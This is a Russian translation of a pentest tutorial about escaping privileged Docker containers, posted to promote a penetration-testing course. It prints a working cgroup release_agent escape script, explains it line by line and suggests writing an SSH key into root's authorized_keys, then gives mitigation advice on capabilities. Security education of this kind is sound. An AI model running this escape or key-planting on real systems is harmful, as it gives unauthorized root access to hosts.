Перевод статьи подготовлен в преддверии старта курса «Пентест. Практика тестирования на проникновение».




Привилегированные контейнеры Docker – это такие контейнеры, которые запускаются с флагом --privileged. В отличие от обычных контейнеров, эти контейнеры имеют root-доступ к машине-хосту.

Привилегированные контейнеры часто используются, когда для выполнения задач нужен прямой доступ к аппаратной составляющей. Однако привилегированные Docker-контейнеры могут позволить злоумышленникам захватить хост-систему. Сегодня мы посмотрим, как можно выйти из привилегированного контейнера.

Поиск уязвимых контейнеров


Как можно определить, что мы находимся в привилегированном контейнере?

Как понять, что вы находитесь в контейнере?


Cgroups расшифровывается как контрольные группы (control groups). Эта функция Linux изолирует использование ресурсов, и именно ей Docker пользуется для изоляции контейнеров. Сказать, находитесь ли вы в контейнере, вы можете, проверив контрольную группу процесса инициализации в /proc/1/cgroup. Если вы не внутри контейнера, то контрольная группа будет /. Опять же, если вы в контейнере, то увидите вместо этого /docker/CONTAINER_ID.

Как узнать, является ли контейнер привилегированным?


Как только вы определили, что находитесь в контейнере, нужно понять, является ли он привилегированным. Лучший способ сделать это – запустить команду, которой нужен флаг --privileged, и посмотреть, сработает ли она.

Например, вы можете попробовать добавить dummy интерфейс с помощью команды iproute2. Эта команда требует доступ к NET_ADMIN, которым контейнер обладает, если он привилегированный.

$ ip link add dummy0 type dummy

Если команда выполнится успешно, то можно сделать вывод, что контейнер имеет функционал NET_ADMIN. А NET_ADMIN в свою очередь является частью привилегированного набора функций, и контейнеры, у которых его нет, привилегированными не являются. Вы можете удалить связь dummy0 после этого теста, с помощью команды:

ip link delete dummy0

Побег из контейнера


Так как же выйти за пределы привилегированного контейнера? Тут вам поможет следующий скрипт. Этот пример и проверка концепции были взяты из блога Trail of Bits. Чтобы углубиться в концепцию, прочтите исходную статью:

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Эта проверка концепции использует функцию release_agent из cgroup.

После завершения последнего процесса в cgroup, выполняется команда, которая удаляет прекратившие работу cgroups. Эта команда указана в файле release_agent и выполняется от имени root на компьютере-хосте. По умолчанию функция отключена, а путь release_agent – пуст.

Этот эксплойт запускает код через файл release_agent. Нам нужно создать cgroup, указать ее файл release_agent и запустить release_agent, убив все процессы в cgroup. Первая строка в проверке гипотез создает новую группу:

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

Следующая включает функцию release_agent:

echo 1 > /tmp/cgrp/x/notify_on_release

Дальше в следующих нескольких строчках прописан путь к файлу release_agent:

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

Затем можно начать писать в файл с командами. Этот скрипт выполнит команду ps aux и сохранит ее в файл /output. Также нужно установить биты доступа для скрипта:

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd

Наконец, инициируйте атаку, породив процесс, который сразу же завершится в cgroup, которую мы создали. Наш скрипт release_agent будет выполняться после завершения процесса. Теперь вы можете прочитать вывод ps aux на хост-машине в файле /output:

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Эту концепцию вы можете использовать для выполнения любых нужных вам команд в хост-системе. Например, вы можете использовать ее для записи вашего SSH-ключа в файл authorized_keys root-пользователя:

cat id_dsa.pub >> /root/.ssh/authorized_keys


Предотвращение атаки


Как можно предотвратить эту атаку? Вместо того, чтобы предоставлять контейнерам полный доступ к хост-системе, вы должны предоставить только те полномочия, которые им нужны.

Возможности Docker позволяют разработчикам выборочно дать разрешения контейнеру. Появляется возможность разбить разрешения, обычно упакованные в root access, на отдельные компоненты.

По умолчанию Docker забирает у контейнера все разрешения и требует их добавлять. Вы можете убрать или добавить разрешения с помощью флагов cap-drop и cap-add.

--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES

Например, вместо предоставления контейнеру root access, вы оставите ему NET_BIND_SERVICE, если ему нужно соединяться с портом ниже 1024. Такой флаг даст контейнеру нужные разрешения:

--cap-add NET_BIND_SERVICE

Заключение


По возможности избегайте запуска Docker-контейнеров с флагом --privileged. Привилегированные контейнеры могут дать злоумышленникам возможность выйти из контейнера и получить доступ к хост-системе. Вместо этого давайте контейнерам разрешение индивидуально с помощью флага --cap-add.

Еще почитать





Узнать подробнее о курсе.